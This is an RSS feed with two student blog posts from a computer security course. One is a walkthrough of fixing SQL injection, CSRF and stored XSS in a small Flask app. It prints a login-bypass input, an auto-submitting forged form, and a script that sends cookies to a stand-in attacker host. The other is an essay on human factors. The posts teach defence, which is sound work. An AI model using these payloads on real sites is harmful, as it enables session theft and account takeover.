<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jeric Ashley Rulete on Medium]]></title>
        <description><![CDATA[Stories by Jeric Ashley Rulete on Medium]]></description>
        <link>https://medium.com/@jsrulete?source=rss-27307cf94835------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*M6LzUTI4jGT59uiv</url>
            <title>Stories by Jeric Ashley Rulete on Medium</title>
            <link>https://medium.com/@jsrulete?source=rss-27307cf94835------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 12:21:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jsrulete/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Found 6 Security Vulnerabilities in a Simple Flask App — Here’s What We Learned]]></title>
            <link>https://medium.com/@jsrulete/i-found-6-security-vulnerabilities-in-a-simple-flask-app-heres-what-we-learned-d844eaf93393?source=rss-27307cf94835------2</link>
            <guid isPermaLink="false">https://medium.com/p/d844eaf93393</guid>
            <category><![CDATA[computer-security]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Jeric Ashley Rulete]]></dc:creator>
            <pubDate>Sat, 30 May 2026 07:21:03 GMT</pubDate>
            <atom:updated>2026-05-30T07:21:03.944Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>SQL Injection, CSRF, and XSS — the classic trio of web security flaws, all living in under 100 lines of Python.</em></blockquote><p><strong>By <em>Joven Labiste, Andrea Pauline Rodriguez, and Jeric Ashley Rulete</em><br>CMSC 134 — Introduction to Computer Science<br>University of the Philippines Cebu</strong></p><p>For our Computer Security course, we were handed a small Flask web app with a login page and a posts feed. Our task: find and fix the security vulnerabilities. What we found was a clean, almost textbook demonstration of three of the most common — and most dangerous — web attack categories.</p><p>Here’s a walkthrough of every flaw we found and exactly how we fixed each one.</p><h3>The App</h3><p>The app is straightforward: a user logs in, lands on a home page, and can write posts. Under the hood it’s built with Python (Flask) and a SQLite database. Three tables: users, sessions, and posts.</p><p>Simple enough. But simplicity doesn’t mean safe.</p><h3>Vulnerability #1: SQL Injection</h3><p><strong>Severity: Critical</strong></p><p>This was the biggest find — and it wasn’t just one instance. <em>Every single database query in the app was vulnerable.</em></p><p>The root cause was always the same: user input was directly glued into SQL query strings using Python’s + concatenation operator. Here&#39;s the login check:</p><pre># The original login query — do NOT write code like this<br>res = cur.execute(&quot;SELECT id from users WHERE username = &#39;&quot;<br>            + request.form[&quot;username&quot;]<br>            + &quot;&#39; AND password = &#39;&quot;<br>            + request.form[&quot;password&quot;] + &quot;&#39;&quot;)</pre><p>At first glance this looks fine. But what if the username field contains this?</p><pre>alice&#39; --</pre><p>The query the database actually receives becomes:</p><pre>SELECT id FROM users WHERE username = &#39;alice&#39; --&#39; AND password = &#39;...&#39;</pre><p>The -- is a SQL comment. Everything after it — including the password check — is completely ignored. An attacker just logged in as alice without knowing her password.</p><p>This same vulnerable pattern appeared in 6 places across the codebase: the login handler, the session lookup in every route, and the post insertion. Each one was a different potential attack surface.</p><h3>The Fix: Parameterised Queries</h3><p>The solution is to never let user input touch the SQL string structure. Instead, use <strong>parameterised queries</strong> — pass data separately from the query itself using ? placeholders:</p><pre># Safe — user input is always treated as data, never as SQL<br>res = cur.execute(<br>    &quot;SELECT id FROM users WHERE username = ? AND password = ?&quot;,<br>    (request.form[&quot;username&quot;], request.form[&quot;password&quot;]),<br>)</pre><p>The database driver handles escaping automatically. No matter what the user types, it can never change the logic of the query. This fix was applied to all 6 vulnerable queries throughout the app.</p><h3>Vulnerability #2: Cross-Site Request Forgery (CSRF)</h3><p><strong>Severity: High</strong></p><p>CSRF is sneaky because the attack doesn’t happen <em>on</em> your app — it happens somewhere else entirely.</p><p>Here’s the scenario: a logged-in user visits a malicious page while their session is still active. That page contains a hidden, auto-submitting form pointing at our app:</p><pre>&lt;form method=&quot;post&quot; action=&quot;http://yourapp.com/posts&quot; id=&quot;f&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;message&quot; value=&quot;Hacked by attacker!&quot;&gt;<br>&lt;/form&gt;<br>&lt;script&gt;document.getElementById(&#39;f&#39;).submit();&lt;/script&gt;</pre><p>The user’s browser, being helpful, automatically includes their session cookie with every request — including this one. The server sees a valid session and a POST request and happily creates the post. The victim never knew it happened.</p><p>Neither form in this app — the login form or the post form — had any protection against this.</p><h3>The Fix: CSRF Tokens (Synchroniser Token Pattern)</h3><p>The fix involves generating a secret, unpredictable token per session and requiring it in every form submission. An attacker on another site has no way to know what that token is.</p><p>On the server side in app.py:</p><pre>def get_csrf_token():<br>    if &quot;csrf_token&quot; not in session:<br>        session[&quot;csrf_token&quot;] = secrets.token_hex(32)<br>    return session[&quot;csrf_token&quot;]</pre><pre>def csrf_valid():<br>    submitted = request.form.get(&quot;csrf_token&quot;, &quot;&quot;)<br>    expected  = session.get(&quot;csrf_token&quot;, &quot;&quot;)<br>    # compare_digest is constant-time — prevents timing attacks<br>    return submitted and secrets.compare_digest(submitted, expected)</pre><p>And in every HTML form:</p><pre>&lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{{ csrf_token() }}&quot;&gt;</pre><p>Each POST handler now calls csrf_valid() before doing anything. A forged submission from another origin won&#39;t carry the right token and gets rejected immediately.</p><h3>Vulnerability #3: Stored Cross-Site Scripting (XSS)</h3><p><strong>Severity: High</strong></p><p>This one was a single line in home.html, but the consequences are severe:</p><pre>&lt;!-- The original template --&gt;<br>&lt;li&gt;{{ post[0] | safe }}&lt;/li&gt;</pre><p>Jinja2, the templating engine Flask uses, automatically escapes HTML characters by default — converting &lt; to &amp;lt;, &gt; to &amp;gt;, and so on. This is a good thing. The | safe filter <strong>turns that protection off</strong>, telling Jinja2 to render the content as raw HTML.</p><p>The result? Any user can store a script tag as a post:</p><pre>&lt;script&gt;document.location=&#39;https://attacker.com/steal?c=&#39;+document.cookie;&lt;/script&gt;</pre><p>Every single user who loads the home page will execute that script in their browser, sending their session cookie straight to the attacker. That’s a complete account takeover — and combined with the CSRF vulnerability above, the attacker doesn’t even need their own account to plant the post.</p><h3>The Fix: Remove | safe</h3><p>The fix is genuinely just deleting two words:</p><pre>&lt;!-- Fixed --&gt;<br>&lt;li&gt;{{ post[0] }}&lt;/li&gt;</pre><p>Jinja2’s default auto-escaping is now active. A post containing &lt;script&gt;alert(1)&lt;/script&gt; will render as the literal text on screen — completely harmless.</p><h3>Bonus Finding: Plaintext Passwords</h3><p>This was outside the assignment scope, but worth mentioning: passwords are stored in plaintext in the database. If the database file is ever accessed by an attacker, every user’s password is immediately readable.</p><p>The proper fix is to store a <strong>salted hash</strong> using a slow algorithm like bcrypt or argon2, and verify against the hash at login time — never storing or comparing the raw password. This wasn&#39;t changed in our submitted fix to stay within scope, but it&#39;s something to address in any real application.</p><h3>Summary</h3><p>Here’s a quick overview of everything found and fixed:</p><p># Type Where What Happened Fix 1a SQL Injection login() POST Login bypass via username field Parameterised query 1b SQL Injection All routes Session token injection via cookie Parameterised query 1c SQL Injection posts() POST Post content injection Parameterised query 2a CSRF login.html No token on login form Added hidden CSRF token field 2b CSRF home.html No token on post form Added hidden CSRF token field 3 Stored XSS home.html |safe disables HTML escaping Removed |safe filter</p><h3>Key Takeaways</h3><p>Three lessons that generalise far beyond this exercise:</p><p><strong>Never trust user input.</strong> Whether it’s a form field, a cookie, or a URL parameter — treat everything coming from the outside world as potentially hostile.</p><p><strong>Parameterised queries are non-negotiable.</strong> There is no good reason to build SQL strings through concatenation in 2024. Every major database library supports parameterised queries. Use them, always.</p><p><strong>Template engines protect you by default — don’t fight them.</strong> Jinja2 escapes HTML for a reason. Overriding that with | safe should be a rare, deliberate decision — not a default.</p><p>These aren’t exotic, hard-to-find vulnerabilities. They’re some of the most well-documented attack types in existence (they’re staples of the OWASP Top 10). And they showed up together in a tiny, simple app. That’s exactly what makes them worth understanding deeply.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d844eaf93393" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Human Factors in Computer Security]]></title>
            <link>https://medium.com/@jsrulete/human-factors-in-computer-security-fd29aa06bb7e?source=rss-27307cf94835------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd29aa06bb7e</guid>
            <category><![CDATA[computer-security]]></category>
            <dc:creator><![CDATA[Jeric Ashley Rulete]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 15:26:06 GMT</pubDate>
            <atom:updated>2026-02-04T15:26:06.308Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By Joven Labiste, Andrea Pauline Rodriguez, Jeric Ashley S. Rulete</em><br>CMSC 134 — Introduction to Computer Security <br>University of the Philippines Cebu</p><p>When people think of computer security, they often imagine technical defenses such as encryption algorithms, firewalls, or secure operating systems. While these tools are essential, many real-world security failures do not occur because of broken cryptography or faulty software. Instead, they happen because of people. Human factors in computer security refer to how human behavior, decision-making, and limitations affect the security of computer systems. Despite advances in technology, humans remain one of the weakest links in the security chain, making this topic critical to understanding modern cybersecurity.</p><p><strong>Humans as the Weakest Link</strong></p><p>Security systems are designed and used by humans, and as a result, they inherit human weaknesses. People tend to prioritize convenience over security, often taking shortcuts that expose systems to attacks. For example, users may ignore security warnings, reuse passwords across multiple platforms, or delay installing software updates. These behaviors are not necessarily malicious; rather, they stem from habits, time pressure, and lack of awareness. Unfortunately, attackers are well aware of these tendencies and design attacks that exploit them.</p><p><strong>Lazy Passwords and Poor Security Practices</strong></p><p>One of the most common examples of human factors in computer security is poor password hygiene. Users frequently choose simple and predictable passwords because they are easier to remember. When forced to create more complex passwords, many users rely on minimal changes, such as adding a number or capital letter at the end. This behavior significantly weakens authentication systems, even if the underlying technology is strong. Password reuse across different services further increases risk, as a single data breach can compromise multiple accounts.</p><p><strong>Social Engineering Attacks</strong></p><p>Social engineering is one of the most effective attack techniques precisely because it targets human psychology rather than technical vulnerabilities. In social engineering attacks, attackers manipulate victims into revealing sensitive information or performing insecure actions. Phishing emails, fake customer service calls, and impersonation attacks are common examples. These attacks often create a sense of urgency or authority, pressuring users to act quickly without verifying the request. Because social engineering exploits trust and human emotions, it is difficult to fully prevent through technical measures alone.</p><p><strong>Security as an Economic Trade-Off</strong></p><p>Another important aspect of human factors is the idea that security is an economic balance. Absolute security is impossible, and making systems perfectly secure often makes them unusable. Users and organizations constantly weigh the cost of security measures against convenience, performance, and usability. For instance, a blog website may not require the same level of security as a national identity database. Understanding this trade-off helps explain why some systems accept higher risk and why users sometimes bypass security controls that they perceive as unnecessary or inconvenient.</p><p><strong>Mitigating Human Factor Risks</strong></p><p>Although human behavior cannot be completely controlled, its risks can be reduced. Security awareness training can help users recognize common threats such as phishing and social engineering. Designing systems with usability in mind can also improve security by making secure behavior the default option. For example, password managers reduce the burden of remembering complex passwords, while least-privilege access limits the damage caused by user mistakes. Instead of blaming users, effective security systems account for human limitations and work around them.</p><p><strong>Conclusion</strong></p><p>Human factors play a crucial role in computer security, often determining whether technical protections succeed or fail. While modern systems rely on advanced cryptography and software defenses, these tools are undermined when users make insecure choices or fall victim to manipulation. Issues such as weak passwords, social engineering, and convenience-driven behavior highlight the importance of addressing the human side of security. Ultimately, effective computer security requires not only strong technical mechanisms but also systems designed with human behavior in mind.</p><p><strong>Source</strong></p><p>This article is based on course lectures and materials adapted from UC Berkeley’s CS161: Introduction to Computer Security, including the CS161 textbook (<a href="https://textbook.cs161.org/">https://textbook.cs161.or</a>g).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd29aa06bb7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>